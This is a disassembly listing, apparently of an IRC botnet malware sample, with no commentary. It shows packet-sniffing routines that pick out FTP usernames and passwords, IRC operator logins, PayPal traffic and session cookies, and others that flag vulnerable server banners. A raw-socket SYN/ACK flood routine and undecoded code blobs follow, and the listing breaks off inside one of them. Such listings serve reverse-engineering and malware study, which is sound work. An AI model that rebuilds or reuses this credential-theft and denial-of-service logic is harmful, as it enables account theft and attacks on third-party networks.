		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413003	proc near		; CODE XREF: sub_4131EC+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41301D


loc_413019:				; CODE XREF: sub_413003+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: sub_413003+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413019
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413043


loc_41303F:				; CODE XREF: sub_413003+4Fj
					; sub_413003+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: sub_413003+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413003	endp


; =============== S U B	R O U T	I N E =======================================



sub_413079	proc near		; CODE XREF: sub_4131EC+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413093


loc_41308F:				; CODE XREF: sub_413079+29j
					; sub_413079+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413093:				; CODE XREF: sub_413079+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset a220	; "220 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130CA


loc_4130C6:				; CODE XREF: sub_413079+60j
					; sub_413079+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130CA:				; CODE XREF: sub_413079+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413079	endp


; =============== S U B	R O U T	I N E =======================================



sub_413100	proc near		; CODE XREF: sub_4131EC+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41311A


loc_413116:				; CODE XREF: sub_413100+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41311A:				; CODE XREF: sub_413100+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413116
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413140


loc_41313C:				; CODE XREF: sub_413100+4Fj
					; sub_413100+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413100+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413100	endp


; =============== S U B	R O U T	I N E =======================================



sub_413187	proc near		; CODE XREF: sub_4131EC:loc_4135B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A1


loc_41319D:				; CODE XREF: sub_413187+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131A1:				; CODE XREF: sub_413187+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41319D
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131C7


loc_4131C3:				; CODE XREF: sub_413187+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131C7:				; CODE XREF: sub_413187+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131C3
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131EC	proc near		; DATA XREF: sub_401ACD+42A0o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB9E8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CBA58
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CD20
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413292
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_413292:				; CODE XREF: sub_4131EC+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413308
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437870
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132E4
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_4132E4:				; CODE XREF: sub_4131EC+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h


loc_413308:				; CODE XREF: sub_4131EC+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB980
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41338E
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437840
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41336A
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_41336A:				; CODE XREF: sub_4131EC+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h


loc_41338E:				; CODE XREF: sub_4131EC+13Cj
		mov	esi, 200h


loc_413393:				; CODE XREF: sub_4131EC+1D6j
					; sub_4131EC+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB9EC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413393
		push	[ebp+var_113A4]
		mov	edi, dword_4271CC
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413393
		cmp	[ebp+arg_0], 19h
		jz	short loc_413393
		cmp	edi, 6Eh
		jz	short loc_413393
		cmp	edi, 19h
		jz	short loc_413393
		push	[ebp+var_113AC]
		call	sub_412EDD
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+var_113A8]
		call	sub_412EDD
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jle	short loc_413491


loc_41345D:				; CODE XREF: sub_4131EC+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413474
		mov	byte ptr [eax],	20h


loc_413474:				; CODE XREF: sub_4131EC+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41347C
		mov	byte ptr [eax],	20h


loc_41347C:				; CODE XREF: sub_4131EC+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41345D


loc_413491:				; CODE XREF: sub_4131EC+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413544
		cmp	edi, 50h
		jz	loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EEC
		test	al, al
		pop	ecx
		jz	short loc_4134D8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43780C
		jmp	loc_413573
; ---------------------------------------------------------------------------


loc_4134D8:				; CODE XREF: sub_4131EC+2C7j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413003
		test	al, al
		pop	ecx
		jz	short loc_41350E
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377D8
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_41350E:				; CODE XREF: sub_4131EC+300j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413079
		test	al, al
		pop	ecx
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377A4
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_413544:				; CODE XREF: sub_4131EC+2A9j
					; sub_4131EC+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413100
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4135B1
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43776C


loc_413573:				; CODE XREF: sub_4131EC+2E7j
					; sub_4131EC+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413393
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h
		jmp	loc_413393
; ---------------------------------------------------------------------------


loc_4135B1:				; CODE XREF: sub_4131EC+36Ej
		call	sub_413187
		test	al, al
		pop	ecx
		jz	loc_413393
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437734
		jmp	short loc_413573
sub_4131EC	endp

; ---------------------------------------------------------------------------
byte_4135DF	db 55h			; DATA XREF: sub_401ACD+6464o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 229D129h
		dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F022Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413694	proc near		; CODE XREF: ___:00413A0Bp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_4136D4
		xor	eax, eax
		jmp	loc_4139C7
; ---------------------------------------------------------------------------


loc_4136D4:				; CODE XREF: sub_413694+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4139BF
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4139B5
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB9D4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		call	sub_41C2C2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB9D4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB9D0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137A4
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137A4:				; CODE XREF: sub_413694+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137C0
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137C0:				; CODE XREF: sub_413694+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F8
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4137F8:				; CODE XREF: sub_413694+10Ej
					; sub_413694+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB9D4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27B02C2h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27B0000h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413846:				; CODE XREF: sub_413694+2E2j
					; sub_413694+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_14], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413989
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27B0000h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4139B2
		jl	loc_413846
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4139B2
		jmp	loc_413846
; ---------------------------------------------------------------------------


loc_413989:				; CODE XREF: sub_413694+2CBj
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4378C4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139B2:				; CODE XREF: sub_413694+2E0j
					; sub_413694+2EEj
		mov	ebx, [ebp+arg_8]


loc_4139B5:				; CODE XREF: sub_413694+78j
					; sub_413694+31Cj
		push	[ebp+var_20]
		call	dword_4CBA6C
		pop	esi


loc_4139BF:				; CODE XREF: sub_413694+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4139C7:				; CODE XREF: sub_413694+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413694	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413694
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413A1A
		push	1
		pop	eax


loc_413A1A:				; CODE XREF: ___:00413A15j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413A29	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6643o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh
		dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h
		dd 59FFFF7Ch, 0E8905759h, 22EC53Ch, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h
		dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h
		dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h
		dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh,	858D14C4h
		dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h,	5959FFFFh
		dd 0C5E89057h, 8D022EC4h, 0FFFE4885h, 15FF50FFh, 4CBA14h
		dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h
		dd 575959FFh, 0C45EE890h, 106A022Eh, 57E4458Dh,	83C2E850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh,	4270B035h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0E74005C6h
		dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch
		dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch
		dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h
		dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h
		dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h
		dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h
		dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h
		dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h
		dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h
